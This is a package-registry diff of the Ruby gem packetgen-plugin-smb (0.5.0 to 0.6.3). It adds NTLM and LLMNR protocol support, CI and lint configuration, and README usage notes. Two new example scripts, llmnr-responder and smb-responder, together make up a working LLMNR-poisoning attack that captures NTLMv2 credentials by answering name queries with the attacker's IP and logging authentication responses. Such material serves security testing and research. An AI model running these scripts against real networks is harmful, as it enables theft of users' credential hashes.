packetgen-plugin-smb 0.5.0 → 0.6.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/specs.yml +28 -0
  3. data/.rubocop.yml +26 -2
  4. data/Gemfile +15 -0
  5. data/README.md +51 -12
  6. data/Rakefile +10 -4
  7. data/examples/llmnr-responder +110 -0
  8. data/examples/smb-responder +233 -0
  9. data/lib/packetgen/plugin/gssapi.rb +16 -10
  10. data/lib/packetgen/plugin/llmnr.rb +4 -4
  11. data/lib/packetgen/plugin/netbios/datagram.rb +3 -3
  12. data/lib/packetgen/plugin/netbios/name.rb +4 -4
  13. data/lib/packetgen/plugin/netbios/session.rb +5 -5
  14. data/lib/packetgen/plugin/netbios.rb +2 -0
  15. data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
  16. data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
  17. data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
  18. data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
  19. data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
  20. data/lib/packetgen/plugin/ntlm.rb +211 -0
  21. data/lib/packetgen/plugin/smb/blocks.rb +2 -2
  22. data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -2
  23. data/lib/packetgen/plugin/smb/browser/host_announcement.rb +2 -2
  24. data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -2
  25. data/lib/packetgen/plugin/smb/browser.rb +2 -2
  26. data/lib/packetgen/plugin/smb/close/request.rb +2 -2
  27. data/lib/packetgen/plugin/smb/close/response.rb +2 -2
  28. data/lib/packetgen/plugin/smb/close.rb +2 -2
  29. data/lib/packetgen/plugin/smb/filetime.rb +10 -2
  30. data/lib/packetgen/plugin/smb/negotiate/dialect.rb +7 -0
  31. data/lib/packetgen/plugin/smb/negotiate/request.rb +7 -0
  32. data/lib/packetgen/plugin/smb/negotiate/response.rb +9 -3
  33. data/lib/packetgen/plugin/smb/negotiate.rb +2 -2
  34. data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
  35. data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +4 -4
  36. data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +2 -2
  37. data/lib/packetgen/plugin/smb/string.rb +60 -23
  38. data/lib/packetgen/plugin/smb/trans/request.rb +3 -3
  39. data/lib/packetgen/plugin/smb/trans/response.rb +2 -2
  40. data/lib/packetgen/plugin/smb/trans.rb +2 -2
  41. data/lib/packetgen/plugin/smb.rb +12 -12
  42. data/lib/packetgen/plugin/smb2/base.rb +3 -3
  43. data/lib/packetgen/plugin/smb2/error.rb +3 -4
  44. data/lib/packetgen/plugin/smb2/guid.rb +4 -3
  45. data/lib/packetgen/plugin/smb2/negotiate/context.rb +3 -3
  46. data/lib/packetgen/plugin/smb2/negotiate/request.rb +3 -5
  47. data/lib/packetgen/plugin/smb2/negotiate/response.rb +9 -7
  48. data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
  49. data/lib/packetgen/plugin/smb2/session_setup/request.rb +9 -5
  50. data/lib/packetgen/plugin/smb2/session_setup/response.rb +10 -6
  51. data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
  52. data/lib/packetgen/plugin/smb2.rb +3 -3
  53. data/lib/packetgen/plugin/smb_version.rb +3 -1
  54. data/lib/packetgen-plugin-smb.rb +3 -2
  55. data/packetgen-plugin-smb.gemspec +8 -10
  56. metadata +21 -84
  57. data/.travis.yml +0 -12
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 7aaeb4b048754ed60fdb9f88a6d82dec247a993056617765e48e047d312d0962
4
- data.tar.gz: 9c5da64aa7a58e9e7971554cdf435c08b085e2b63f81bacd9d36a19e9b610ac5
3
+ metadata.gz: 81c44249205f74086ef6aa53ed5bae0b9cc4d988cbc32ed6280c389e222dfaa6
4
+ data.tar.gz: fa0c225d0bac37bf479969a2bd2a968309aacb1eb06d986d5784c99bde35575e
5
5
  SHA512:
6
- metadata.gz: e261d4a050ed4a8ed34a51d106bacc519279256bc95bb75e0998947c6365bf008f4f7e43103b9f86b9526efafd0ee18e5cdb1f9f260fe94e052b309555552b50
7
- data.tar.gz: 1c1e0fa328e1272a45ab699168b8cc246df7bf4520f4e2a82d2378ff89706e308dfbd57f50ecd1567800e905959a2672bce3756d1e1d6a59c8838198ae4dde92
6
+ metadata.gz: 6f6834ace18bbb690025a2856be929abfa8355e218eaa66e67c76cbd0ce3711a55836d99a77d5a598d36a433b6c6ae0355103a91a726520f7204aa7494e40359
7
+ data.tar.gz: 6e87dddb4fcf4e5e4c6e534402321bc11d8e1c53b4f1fcba535ccf443ea42f6a17c1ed9935108cd066cc7fb522064f9ba43aff3b3e0aa49589ef58b0e67987b8
@@ -0,0 +1,28 @@
1
+ name: Specs
2
+ on:
3
+ push:
4
+ branches: [ master ]
5
+ pull_request:
6
+ branches: [ master ]
7
+ jobs:
8
+ test:
9
+ strategy:
10
+ fail-fast: false
11
+ matrix:
12
+ os: [ubuntu-latest]
13
+ ruby: ['2.5', '2.6', '2.7', '3.0', '3.1']
14
+ runs-on: ${{ matrix.os }}
15
+ steps:
16
+ - uses: actions/checkout@v2
17
+ - name: Install dependencies
18
+ run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
19
+ - name: Set up Ruby
20
+ uses: ruby/setup-ruby@v1
21
+ with:
22
+ ruby-version: ${{ matrix.ruby }}
23
+ - name: Run tests
24
+ run: |
25
+ bundle config set path 'vendor/bundle'
26
+ bundle config set --local without noci
27
+ bundle install
28
+ bundle exec rake
data/.rubocop.yml CHANGED
@@ -1,15 +1,39 @@
1
+ require:
2
+ - rubocop-performance
3
+ AllCops:
4
+ TargetRubyVersion: '2.5'
5
+ NewCops: enable
6
+ Exclude:
7
+ - .git/**/*
8
+ - spec/**/*
9
+ - vendor/**/*
10
+ Layout/LineLength:
11
+ Enabled: false
1
12
  Layout/SpaceAroundEqualsInParameterDefault:
2
13
  EnforcedStyle: no_space
3
14
  Lint/EmptyWhen:
4
15
  Enabled: false
5
16
  Lint/Void:
6
17
  Enabled: false
7
- Metrics:
18
+ Metrics/AbcSize:
19
+ Max: 20
20
+ Metrics/ClassLength:
21
+ Max: 200
22
+ Metrics/MethodLength:
23
+ Max: 20
24
+ Metrics/ParameterLists:
25
+ MaxOptionalParameters: 4
26
+ Naming/FileName:
27
+ Enabled: false
28
+ Style/AccessModifierDeclarations:
8
29
  Enabled: false
9
30
  Style/AsciiComments:
10
31
  Enabled: false
11
32
  Style/ClassAndModuleChildren:
12
33
  Enabled: false
34
+ Style/Documentation:
35
+ # Too many false positives!
36
+ Enabled: false
13
37
  Style/Encoding:
14
38
  Enabled: false
15
39
  Style/EvalWithLocation:
@@ -17,7 +41,7 @@ Style/EvalWithLocation:
17
41
  Style/FormatString:
18
42
  EnforcedStyle: percent
19
43
  Style/FormatStringToken:
20
- EnforcedStyle: unannotated
44
+ MaxUnannotatedPlaceholdersAllowed: 3
21
45
  Style/PerlBackrefs:
22
46
  Enabled: false
23
47
  Style/RedundantSelf:
data/Gemfile CHANGED
@@ -1,3 +1,18 @@
1
+ # frozen_string_literal: true
2
+
1
3
  source 'https://rubygems.org'
2
4
 
3
5
  gemspec
6
+
7
+ gem 'bundler', '>=1.17', '<3'
8
+ gem 'rake', '~> 12.3'
9
+ gem 'rspec', '~> 3.10'
10
+
11
+ group :noci do
12
+ gem 'debase', '~>0.2'
13
+ gem 'rubocop', '~> 1.6.0'
14
+ gem 'rubocop-performance', '~> 1.9'
15
+ gem 'ruby-debug-ide', '~> 0.7'
16
+ gem 'simplecov', '~> 0.18'
17
+ gem 'yard', '~> 0.9'
18
+ end
data/README.md CHANGED
@@ -1,22 +1,26 @@
1
1
  [![Gem Version](https://badge.fury.io/rb/packetgen-plugin-smb.svg)](https://badge.fury.io/rb/packetgen-plugin-smb)
2
- [![Build Status](https://travis-ci.com/sdaubert/packetgen-plugin-smb.svg?branch=master)](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
3
2
 
4
3
  # Packetgen::Plugin::SMB
5
4
 
6
5
  This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
7
6
 
7
+ * NetBIOS:
8
+ * Datagram service,
9
+ * Session service,
8
10
  * SMB:
9
- * SMB common header,
10
- * Close command,
11
- * NtCreateAndX command,
12
- * Trans command,
13
- * Browser subprotocol,
11
+ * SMB common header,
12
+ * Negotiate command,
13
+ * Close command,
14
+ * NtCreateAndX command,
15
+ * Trans command,
16
+ * Browser subprotocol,
14
17
  * SMB2:
15
- * SMB2 common header (support 2.x and 3.x dialects),
16
- * Negotiate command,
17
- * SessionSetup command,
18
- * GSSAPI, used to transport negotiation over SMB2 commands.
19
-
18
+ * SMB2 common header (support 2.x and 3.x dialects),
19
+ * Negotiate command,
20
+ * SessionSetup command,
21
+ * GSSAPI, used to transport negotiation over SMB2 commands,
22
+ * NTLM, SMB authentication protocol,
23
+ * LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
20
24
 
21
25
  ## Installation
22
26
 
@@ -36,7 +40,42 @@ Or install it yourself as:
36
40
 
37
41
  ## Usage
38
42
 
39
- TODO
43
+ ### SMB2 with NTLM negociation
44
+
45
+ See [examples/smb-responder](/examples/smb-responder).
46
+
47
+ ### LLMNR
48
+
49
+ LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
50
+
51
+ ```ruby
52
+ require 'socket'
53
+ require 'packetgen'
54
+ require 'packetgen-plugin-smb'
55
+
56
+ LLMNR_MCAST_ADDR = '224.0.0.252'
57
+ LOCAL_IPADDR = 'x.x.x.x' # your IP
58
+
59
+ # Open a UDP socket
60
+ socket = UDPSocket.new
61
+ # Bind it to receive LLMNR response packets
62
+ socket.bind(LOCAL_IPADDR, 0)
63
+
64
+ # Send a LLMNR query
65
+ query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
66
+ query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
67
+ socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
68
+
69
+ # Get answer
70
+ # data = socket.recv(1024)
71
+ data, peer = socket.recvfrom(1024)
72
+ answer = PacketGen.parse(data, first_header: 'LLMNR')
73
+ example_local_ip = answer.llmnr.an.to_a
74
+ .find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
75
+ puts example_local_ip
76
+ ```
77
+
78
+ You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
40
79
 
41
80
  ## See also
42
81
 
data/Rakefile CHANGED
@@ -1,13 +1,19 @@
1
+ # frozen_string_literal: true
1
2
 
2
3
  require 'bundler/gem_tasks'
3
4
  require 'rspec/core/rake_task'
4
- require 'yard'
5
5
 
6
6
  task default: :spec
7
7
 
8
8
  RSpec::Core::RakeTask.new
9
9
 
10
- YARD::Rake::YardocTask.new do |t|
11
- t.options = ['--no-private']
12
- t.files = ['lib/**/*.rb', '-', 'LICENSE']
10
+ begin
11
+ require 'yard'
12
+
13
+ YARD::Rake::YardocTask.new do |t|
14
+ t.options = ['--no-private']
15
+ t.files = ['lib/**/*.rb', '-', 'LICENSE']
16
+ end
17
+ rescue LoadError
18
+ # no yard, so no yard task
13
19
  end
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a LLMNR responder. It responds to all LLMNR
8
+ # requests on local network, and says requested name is its IP address.
9
+
10
+ # frozen_string_literal: true
11
+
12
+ require 'optparse'
13
+ require 'socket'
14
+ require 'ipaddr'
15
+
16
+ require 'packetgen'
17
+ require 'packetgen-plugin-smb'
18
+
19
+ BIND_ADDR = '0.0.0.0'
20
+
21
+ class LlmnrResponder
22
+ attr_reader :socket, :my_ip, :my_ip_data
23
+
24
+ LLMNR_MCAST_ADDR = '224.0.0.252'
25
+
26
+ def initialize
27
+ @socket = UDPSocket.new
28
+ end
29
+
30
+ def start(bind_addr:, iface:)
31
+ @my_ip = Interfacez.ipv4_address_of(iface)
32
+ @my_ip_data = IPAddr.new(my_ip).hton
33
+ configure_multicast(my_ip_data)
34
+
35
+ socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
36
+
37
+ start_loop
38
+ end
39
+
40
+ private
41
+
42
+ def log(str)
43
+ puts "[LLMNR] #{str}"
44
+ end
45
+
46
+ def configure_multicast(local_ip_bin)
47
+ mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
48
+ socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
49
+ end
50
+
51
+ def start_loop
52
+ loop do
53
+ data, peer = socket.recvfrom(1024)
54
+ pkt = PacketGen.parse(data, first_header: 'LLMNR')
55
+ next unless pkt.is?('LLMNR')
56
+
57
+ peer_port = peer[1]
58
+ peer_ip = peer[3]
59
+ log "received LLMNR request from #{peer_ip}"
60
+
61
+ # Forge LLMNR response
62
+ response_pkt = pkt.reply
63
+ response_pkt.llmnr.qr = true
64
+ response_pkt.llmnr.qd.each do |question|
65
+ next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
66
+
67
+ log "Say to #{peer_ip} #{question.name} is #{my_ip}"
68
+ answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
69
+ response_pkt.llmnr.an << answer
70
+ end
71
+ response_pkt.calc
72
+
73
+ next unless response_pkt.llmnr.ancount > 0
74
+
75
+ socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
76
+ end
77
+ end
78
+ end
79
+
80
+ def parse_options
81
+ options = {}
82
+
83
+ OptionParser.new do |opts|
84
+ opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
85
+ opts.separator ''
86
+ opts.separator 'Options:'
87
+
88
+ opts.on_tail('-h', '--help', 'Show this message') do
89
+ puts opts
90
+ exit
91
+ end
92
+
93
+ opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
94
+ options[:iface] = iface
95
+ end
96
+ end.parse!
97
+
98
+ options
99
+ end
100
+
101
+ def check_options(options)
102
+ raise 'No interface given' if options[:iface].nil?
103
+ raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
104
+ end
105
+
106
+ options = parse_options
107
+
108
+ check_options options
109
+
110
+ LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a SMB responder. It responds to all SMB
8
+ # Negotiate request to capture credentials.
9
+ # Before running it (as root), llmnr-responder should be running.
10
+
11
+ # frozen_string_literal: true
12
+
13
+ require 'socket'
14
+ require 'securerandom'
15
+ require 'ostruct'
16
+
17
+ require 'packetgen'
18
+ require 'packetgen-plugin-smb'
19
+
20
+ BIND_ADDR = '0.0.0.0'
21
+
22
+ DOMAIN_NAME = 'SMB3'
23
+ COMPUTER_NAME = 'WIN-AZE546CFHTD'
24
+
25
+ Thread.abort_on_exception = true
26
+
27
+ Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
28
+ def to_s
29
+ user = self.user.encode('UTF-8')
30
+ computer = self.computer.encode('UTF-8')
31
+ str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
32
+ str << "Challenge: #{challenge}\nProof: #{proof}\n"
33
+ str << "Response: #{response}"
34
+ end
35
+ end
36
+
37
+ class Smb2Responder
38
+ attr_reader :socket, :guid, :salt
39
+
40
+ NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
41
+ STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
42
+ STATUS_ACCESS_DENIED = 0xc0000022
43
+
44
+ SMB2_SIZE = 8_388_608
45
+ SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
46
+ SMB2_SALT_LEN = 32
47
+
48
+ def initialize
49
+ @guid = SecureRandom.uuid
50
+ @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
51
+ end
52
+
53
+ def start(bind_addr:)
54
+ @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
55
+
56
+ start_loop
57
+ end
58
+
59
+ private
60
+
61
+ def log(str)
62
+ puts "[SMB2] #{str}"
63
+ end
64
+
65
+ def get_smb_data(sock)
66
+ PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
67
+ end
68
+
69
+ def smb2_nego_resp1
70
+ return @resp1_pkt if defined? @resp1_pkt
71
+
72
+ @resp1_pkt = PacketGen.gen('NetBIOS::Session')
73
+ .add('SMB2', credit: 1)
74
+ .add('SMB2::Negotiate::Response',
75
+ dialect: 0x2ff,
76
+ server_guid: guid, capabilities: 7,
77
+ max_trans_size: SMB2_SIZE,
78
+ max_read_size: SMB2_SIZE,
79
+ max_write_size: SMB2_SIZE)
80
+ @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
81
+ @resp1_pkt.calc
82
+ @resp1_pkt
83
+ end
84
+
85
+ def first_nego_response
86
+ pkt = smb2_nego_resp1
87
+ pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
88
+ pkt
89
+ end
90
+
91
+ def second_nego_response(req_pkt)
92
+ smb2_req = req_pkt.smb2
93
+ nego_req = req_pkt.smb2_negotiate_request
94
+
95
+ pkt = PacketGen.gen('NetBIOS::Session')
96
+ .add('SMB2',
97
+ credit: 1,
98
+ message_id: smb2_req.message_id,
99
+ reserved: smb2_req.reserved)
100
+ .add('SMB2::Negotiate::Response',
101
+ dialect: nego_req.dialects.last,
102
+ server_guid: guid,
103
+ capabilities: 0x2f,
104
+ max_trans_size: SMB2_SIZE,
105
+ max_read_size: SMB2_SIZE,
106
+ max_write_size: SMB2_SIZE,
107
+ system_time: PacketGen::Plugin::SMB::Filetime.now,
108
+ buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
109
+
110
+ pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
111
+ pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
112
+
113
+ pkt.smb2_negotiate_response.context_list << { type: 2 }
114
+ pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
115
+ pkt.calc
116
+ pkt
117
+ end
118
+
119
+ def first_session_setup_response(req_pkt)
120
+ smb2_req = req_pkt.smb2
121
+ setup_req = req_pkt.smb2_sessionsetup_request
122
+ ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
123
+
124
+ pkt = PacketGen.gen('NetBIOS::Session')
125
+ .add('SMB2',
126
+ credit_charge: 1,
127
+ credit: 1,
128
+ status: STATUS_MORE_PROCESSING_REQUIRED,
129
+ message_id: smb2_req.message_id,
130
+ reserved: smb2_req.reserved)
131
+ .add('SMB2::SessionSetup::Response')
132
+
133
+ ntlm = PacketGen::Plugin::NTLM::Challenge.new
134
+ ntlm.flags = ntlm_nego.flags | 0x00810000
135
+ ntlm.flags &= 0xfdffff15
136
+ ntlm.challenge = [rand(2**64)].pack('q<')
137
+ ntlm.target_name.read('SMB3')
138
+ ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
139
+ ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
140
+ ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
141
+ ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
142
+ ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
143
+ ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
144
+ ntlm.target_info << { type: 'EOL' }
145
+ ntlm.calc_length
146
+
147
+ gssapi = pkt.smb2_sessionsetup_response.buffer
148
+ gssapi[:token_resp][:response].value = ntlm.to_s
149
+ gssapi[:token_resp][:negstate].value = 'accept-incomplete'
150
+ gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
151
+
152
+ pkt.calc
153
+
154
+ [pkt, ntlm.challenge]
155
+ end
156
+
157
+ def deny_access(req_pkt)
158
+ smb2_req = req_pkt.smb2
159
+ pkt = PacketGen.gen('NetBIOS::Session')
160
+ .add('SMB2',
161
+ credit: 1,
162
+ credit_charge: 1,
163
+ status: STATUS_ACCESS_DENIED,
164
+ message_id: smb2_req.message_id,
165
+ reserved: smb2_req.reserved)
166
+ .add('SMB2::SessionSetup::Response')
167
+ # Remove buffer
168
+ pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
169
+ pkt.calc
170
+ pkt
171
+ end
172
+
173
+ def start_loop
174
+ loop do
175
+ client = socket.accept
176
+ to_close = false
177
+
178
+ log "connection from #{client.peeraddr[2]}"
179
+
180
+ credentials = Credentials.new
181
+ credentials.ip = client.peeraddr.last
182
+
183
+ until to_close
184
+ rcv_pkt = get_smb_data(client)
185
+
186
+ pkt_to_send = case rcv_pkt.headers.last.protocol_name
187
+ when 'SMB::Negotiate::Request'
188
+ unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
189
+ to_close = true
190
+ nil
191
+ end
192
+
193
+ first_nego_response
194
+
195
+ when 'SMB2::Negotiate::Request'
196
+ second_nego_response rcv_pkt
197
+
198
+ when 'SMB2::SessionSetup::Request'
199
+ gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
200
+ if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
201
+ pkt, challenge = first_session_setup_response(rcv_pkt)
202
+ credentials.challenge = binary2hex(challenge)
203
+ pkt
204
+ else
205
+ response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
206
+ if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
207
+ credentials.proof = binary2hex(response.nt_response.response)
208
+ credentials.user = response.user_name
209
+ credentials.computer = response.workstation
210
+ credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
211
+ to_close = true
212
+ deny_access rcv_pkt
213
+ else
214
+ to_close = true
215
+ nil
216
+ end
217
+ end
218
+ end
219
+
220
+ client.send(pkt_to_send.to_s, 0) if pkt_to_send
221
+ client.close if to_close
222
+
223
+ puts credentials.to_s unless credentials.response.nil?
224
+ end
225
+ end
226
+ end
227
+
228
+ def binary2hex(str)
229
+ str.unpack('H*').first
230
+ end
231
+ end
232
+
233
+ Smb2Responder.new.start(bind_addr: BIND_ADDR)
@@ -1,10 +1,10 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of packetgen-plugin-smb.
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  require 'rasn1'
9
9
 
10
10
  module PacketGen::Plugin
@@ -61,6 +61,8 @@ module PacketGen::Plugin
61
61
  # gssapi[:token_resp][:response] #=> RASN1::Types::OctetString
62
62
  # @author Sylvain Daubert
63
63
  class GSSAPI < RASN1::Model
64
+ include PacketGen::Types::Fieldable
65
+
64
66
  # GSS API Negotiation Token Init
65
67
  #
66
68
  # A GSSAPI Negotiation Token Init is a ASN.1 SEQUENCE, explicitly tagged 0,
@@ -94,14 +96,18 @@ module PacketGen::Plugin
94
96
  octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)]
95
97
  end
96
98
 
99
+ class NegTokenInitEnvelop < RASN1::Model
100
+ sequence(:init, implicit: 0, class: :application,
101
+ content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
102
+ model(:token_init, NegTokenInit)])
103
+ end
104
+
97
105
  choice :gssapi,
98
- content: [sequence(:init, implicit: 0, class: :application,
99
- content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
100
- model(:token_init, NegTokenInit)]),
106
+ content: [model(:init_env, NegTokenInitEnvelop),
101
107
  model(:token_resp, NegTokenResp)]
102
108
 
103
109
  # @param [Hash] args
104
- # @param [Symbol] :type +:init+ or +:response+ to force selection of
110
+ # @option args [Symbol] :token +:init+ or +:response+ to force selection of
105
111
  # token CHOICE.
106
112
  def initialize(args={})
107
113
  token = args.delete(:token)
@@ -113,14 +119,14 @@ module PacketGen::Plugin
113
119
  # @param [String] str
114
120
  # @return [self]
115
121
  def read(str)
122
+ return self if str.nil?
123
+
116
124
  parse!(str, ber: true)
117
125
  self
118
126
  end
119
127
 
120
- # Get size of GSSAPI DER string, in bytes
121
- # @return [Integer]
122
- def sz
123
- to_der.size
128
+ def to_human
129
+ inspect
124
130
  end
125
131
 
126
132
  alias to_s to_der
@@ -1,10 +1,10 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of packetgen-plugin-smb.
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
9
  # Link-Local Multicast Name Resolution (LLMNR) header ({https://tools.ietf.org/html/rfc4795 RFC 4795}).
10
10
  # @author Sylvain Daubert
@@ -43,13 +43,13 @@ module PacketGen::Plugin
43
43
  ip.dst = dst unless dst.nil?
44
44
  ip.ttl = 1 if ip[:dst].mcast?
45
45
 
46
- # rubocop:disable Lint/HandleExceptions
46
+ # rubocop:disable Lint/SuppressedException
47
47
  begin
48
48
  llh = ll_header(self)
49
49
  llh.dst = MAC_IPV4_MCAST if ip[:dst].mcast?
50
50
  rescue PacketGen::FormatError
51
51
  end
52
- # rubocop:enable Lint/HandleExceptions
52
+ # rubocop:enable Lint/SuppressedException
53
53
  end
54
54
  end
55
55
  PacketGen::Header.add_class LLMNR
@@ -1,15 +1,15 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of PacketGen
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
9
  # Module to group all NetBIOS headers
10
10
  # @author Sylvain Daubert
11
11
  module NetBIOS
12
- # NetBIOS Session Service messages.
12
+ # NetBIOS Datagram Service messages.
13
13
  # @author Sylvain Daubert
14
14
  class Datagram < PacketGen::Header::Base
15
15
  # Give protocol name
@@ -1,13 +1,13 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of PacketGen
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
- # Module to group all NetBIOS headers
10
- # @author Sylvain Daubert
9
+ # Module to group all NetBIOS headers
10
+ # @author Sylvain Daubert
11
11
  module NetBIOS
12
12
  # NetBIOS Name.
13
13
  # @author Sylvain Daubert